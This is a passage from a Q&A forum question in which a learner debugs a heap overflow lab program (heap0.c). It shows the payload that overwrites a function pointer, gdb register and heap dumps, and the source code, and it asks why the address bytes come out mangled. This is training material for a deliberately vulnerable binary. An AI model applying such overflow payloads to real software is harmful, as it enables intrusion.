0

I have a heap overflow example program (heap0.c)compiled as follows:

gcc heap0.c -w -g -no-pie -z execstack -o heap0

In order to overwrite the instruction pointer with (BBBB = \x42\x42\x42\x42), I passed:

(gdb)r $(python3 -c 'print ("A"*80 + "\x42\x42\x42\x42")')

The eip was correctly overwritten: (gdb) i r:

eax            0x42424242          1111638594
ecx            0xbffff3b0          -1073744976
edx            0x804d1ed           134533613
ebx            0x804c000           134529024
esp            0xbffff08c          0xbffff08c
ebp            0xbffff0b8          0xbffff0b8
esi            0xbffff0d0          -1073745712
edi            0xb7fb1000          -1208283136
**eip            0x42424242          0x42424242** (correct)

I verified this on the heap and 0x42424242 was correctly written where I expected it, after the first 80bytes.

(gdb) info proc map

Mapped address spaces:

    Start Addr   End Addr       Size     Offset objfile

     0x804d000   0x806f000     0x22000    0x0 [heap]

(gdb) x/130x 0x804d000:

0x804d1a0:      0x41414141      0x41414141      0x41414141      0x41414141
0x804d1b0:      0x41414141      0x41414141      0x41414141      0x41414141
0x804d1c0:      0x41414141      0x41414141      0x41414141      0x41414141
0x804d1d0:      0x41414141      0x41414141      0x41414141      0x41414141
0x804d1e0:      0x41414141      0x41414141      0x41414141      0x41414141
0x804d1f0:      *0x42424242*      0x00000000      0x00000000      0x00000411
0x804d200:      0x61746164      0x20736920

However, when I used the address of the function (winner - 0x080491a2 ) which I wanted to redirect, the eip was not what I expected:

(gdb) r $(python3 -c 'print ("A"*80 + "\xa2\x91\x04\x08")')

(gdb) i r:
eax            0x91c2a2c2          -1849515326
ecx            0xbffff3b0          -1073744976
edx            0x804d1ef           134533615
ebx            0x804c000           134529024
esp            0xbffff08c          0xbffff08c
ebp            0xbffff0b8          0xbffff0b8
esi            0xbffff0d0          -1073745712
edi            0xb7fb1000          -1208283136
**eip            0x91c2a2c2          0x91c2a2c2** (not what I expected)
eflags         0x10286             [ PF SF IF RF ]
cs             0x73                115
ss             0x7b                123
ds             0x7b                123
es             0x7b                123
fs             0x0                 0
gs             0x33                51

I checked the heap and I have the same:

x/130x 0x804d000:
0x804d1a0:      0x41414141      0x41414141      0x41414141      0x41414141
0x804d1b0:      0x41414141      0x41414141      0x41414141      0x41414141
0x804d1c0:      0x41414141      0x41414141      0x41414141      0x41414141
0x804d1d0:      0x41414141      0x41414141      0x41414141      0x41414141
0x804d1e0:      0x41414141      0x41414141      0x41414141      0x41414141
0x804d1f0:      **0x91c2a2c2      0x00000804**      0x00000000      0x00000411
0x804d200:      0x61746164      0x20736920

It seems the address got splitted somehow, and the program could not be redirected to winner. I was expecting 0x080491a2 to be written immediately after the first 80bytes as in the first example. I have disabled ASLR and tried a couple of things but I could not get this to work correctly. Can someone kindly explain to me why my address appeared to be incorrectly written.

I am running 32bits Kali Linux v2021 and the heap0.c is:

   ...
   struct data {
 char name[64];
};

struct fp {
 int (*fp)();
};

void winner()
{
 printf("level passed\n");
}

void nowinner()
{
 printf("level has not been passed\n");
}
int main(int argc, char **argv)
{
 struct data *d;
 struct fp *f;

 d = malloc(sizeof(struct data));
 f = malloc(sizeof(struct fp));
 f->fp = nowinner;

 printf("data is at %p, fp is at %p\n", d, f);

 strcpy(d->name, argv[1]);

 f->fp();
....

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.